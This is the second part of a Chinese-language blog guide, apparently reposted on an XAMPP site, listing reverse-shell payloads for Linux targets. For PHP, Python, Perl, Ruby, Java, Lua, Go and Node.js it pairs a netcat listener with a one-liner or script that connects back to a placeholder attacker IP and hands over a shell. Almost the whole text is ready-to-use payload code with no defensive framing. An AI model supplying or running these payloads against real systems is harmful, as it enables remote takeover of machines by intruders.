最新消息:XAMPP默认安装之后是很不安全的,我们只需要点击左方菜单的 "安全"选项,按照向导操作即可完成安全设置。

Linux反弹shell实战指南(下)

XAMPP教程 中文小张 19浏览 0评论

8. PHP
前提条件:攻击机安装nc,靶机安装php。
命令:

攻击机:nc -l port
靶机:php -r ‘$sock=fsockopen(“attack_ip”,port);exec(“/bin/bash -i <&3 >&3 2>&3″);’
备注:PHP、Python等方法本质上还是利用bash、sh、nc等。

9. Python
前提条件:攻击机安装nc,靶机安装python。
① 命令:

攻击机:nc -l port
靶机:export RHOST=”attack_ip”;export RPORT=port;python -c ‘import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(“RHOST”),int(os.getenv(“RPORT”))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(“/bin/sh”)’

② 命令:

攻击机:nc -l port
靶机:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“attack_ip”,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["bash","-i"]);’

10. Perl
前提条件:攻击机安装nc,靶机安装perl。
① 命令:
攻击机:nc -l port
靶机:perl -e ‘use Socket;$i=”attack_ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};

② 命令:
攻击机:nc -l port
靶机:perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”attack_ip:port”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

11. Ruby
前提条件:攻击机安装nc,靶机安装ruby。
命令:

攻击机:nc -l port
靶机:ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“attack_ip”,”port”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

12. Java
前提条件:攻击机安装nc,靶机安装jdk。
命令&脚本:

攻击机:
nc -l port
靶机:
public class test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[]= {“/bin/bash”,”-c”,”exec 5<>/dev/tcp/attack_ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”};
Process p = r.exec(cmd);
p.waitFor();
}

13. Lua
前提条件:攻击机安装nc,靶机安装lua及luasocket模块。
命令:

攻击机:nc -l port
靶机:lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘attack_ip’,'port’);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);”

14. Go
前提条件:攻击机安装nc,靶机安装go。
命令:

攻击机:nc -l port
靶机:echo ‘package main;import”os/exec”;import”net”;func main(){c,_:=net.Dial(“tcp”,”attack_ip:port”);cmd:=exec.Command(“/bin/sh”);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}’ > /tmp/test.go && go run /tmp/test.go && rm /tmp/test.go

15. Nodejs
前提条件:攻击机安装nc,靶机安装nodejs。
① 命令&脚本:

攻击机:
nc -l port
靶机:
(function(){
var net = require(“net”),
cp = require(“child_process”),
sh = cp.spawn(“/bin/sh”, []);
var client = new net.Socket();
client.connect(port, “attack_ip”, function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

② 命令&脚本:
攻击机:nc -l port
靶机:require(‘child_process’).exec(‘nc -e /bin/sh attack_ip port’)

转载请注明:XAMPP中文组官网 » Linux反弹shell实战指南(下)